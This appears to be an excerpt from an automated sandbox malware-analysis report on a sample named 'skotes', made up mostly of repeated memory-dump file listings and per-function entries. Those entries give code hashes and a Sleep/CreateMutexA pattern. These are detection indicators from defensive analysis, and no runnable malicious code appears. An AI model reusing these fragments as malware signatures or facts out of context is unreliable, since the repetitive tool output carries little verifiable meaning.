Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 79dcae7e39dc43206cd2d35018b81108eec0b56b8cb2efb6edabc2e085827bde
Instruction ID: 30aa195e98b7bf6fbfbf48a64d5c5ba09678c8e43da27f5da2343b8ce53a1763
Opcode Fuzzy Hash: 79dcae7e39dc43206cd2d35018b81108eec0b56b8cb2efb6edabc2e085827bde
Instruction Fuzzy Hash: 90314A316042048BEB1ADB78DD8976DBBB6EFC5314F30C619E014AB3DDC77559808B51

Function 00369F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: fcbd55acddf341190aaadcbb5717ec89f0308292374564868f85c9352df13ea1
Instruction ID: 86184253151dbcf36867995a70d3d53237fbf9deb7b2168062858505def0fd86
Opcode Fuzzy Hash: fcbd55acddf341190aaadcbb5717ec89f0308292374564868f85c9352df13ea1
Instruction Fuzzy Hash: CE3159316141049BEF1ADB78DD89BADB7B6EFC5310F30C619E018EB2D9C77699808B12

Function 0036A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 1a142fe2a93506307b524f49217f7a0a729e2090d27eb2dd75230633928e0a92
Instruction ID: b4ac330493cd5191a28a5cdc55f54388732a2eb954e597406773abe28c707bb2
Opcode Fuzzy Hash: 1a142fe2a93506307b524f49217f7a0a729e2090d27eb2dd75230633928e0a92
Instruction Fuzzy Hash: B53148316145049BEF1ADB78CD89BADB7B2DF82314F30C619E014EB3D9C77699808B12

Function 0036A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: f130a341b77dc57f36741735f38d5eb21e778b1c2337ccb828a2035eaf6c58b0
Instruction ID: 2994ff078471a164156344d64c8ce1450163149278efb78fe9cc9ff30dea237f
Opcode Fuzzy Hash: f130a341b77dc57f36741735f38d5eb21e778b1c2337ccb828a2035eaf6c58b0
Instruction Fuzzy Hash: EB314A316445049BFB1ADB78DD89B6DB7B2EF86310F30C618E014BB2D9C77659808B12

Function 0036A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799010542.00000000005A0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799028306.00000000005AA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799049726.00000000005BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799067650.00000000005C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799085524.00000000005C3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799104093.00000000005C7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799121857.00000000005CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799140234.00000000005D4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799156778.00000000005D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799176723.00000000005D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799195580.00000000005E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799213056.00000000005E9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799230971.00000000005F2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799249270.00000000005F5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799266847.00000000005F6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799285993.00000000005FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799303484.00000000005FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799321341.0000000000603000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799343792.0000000000621000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000622000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799399047.0000000000640000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799447265.000000000066C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799466385.000000000066D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799486042.000000000066E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799504916.0000000000671000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799522137.0000000000673000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799542044.0000000000682000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1799559730.0000000000683000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_360000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2<
API String ID: 1464230837-1458272136
Opcode ID: 2125918d8015537121ae36d356b96fb89841ea3d429a363cef436981b2bd27a6
Instruction ID: 15b4538e1ac7a54294ff7abb7fe79909213692a740e5fc25b639af487555a029
Opcode Fuzzy Hash: 2125918d8015537121ae36d356b96fb89841ea3d429a363cef436981b2bd27a6
Instruction Fuzzy Hash: 773148316045049BEB1AEB78DD89B6DB7B2EFC1314F30C618E014AB3DDCBB599808B52

Function 0036A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0036A963
CreateMutexA.KERNELBASE(00000000,00000000,003C3254), ref: 0036A981

Strings

T2<, xrefs: 0036A970

Memory Dump Source

Source File: 00000001.00000002.1798514482.0000000000361000.00000040.00000001.01000000.00000007.sdmp, Offset: 00360000, based on PE: true

Associated: 00000001.00000002.1798496319.0000000000360000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798514482.00000000003C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798570217.00000000003C9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798586715.00000000003CB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798604649.00000000003D5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798621213.00000000003D6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798636962.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798732092.000000000053D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798749028.000000000053F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798769614.0000000000554000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798785553.0000000000555000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798800963.0000000000556000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798817561.0000000000557000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000558000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798833097.0000000000562000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798866414.0000000000567000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798882518.000000000056C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798905439.0000000000591000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798922727.0000000000592000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798940046.0000000000593000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798956401.0000000000594000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798974802.000000000059C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.1798992822.000000000059E000.00000040.00000001.01000000.00000007.sdmpDownload File
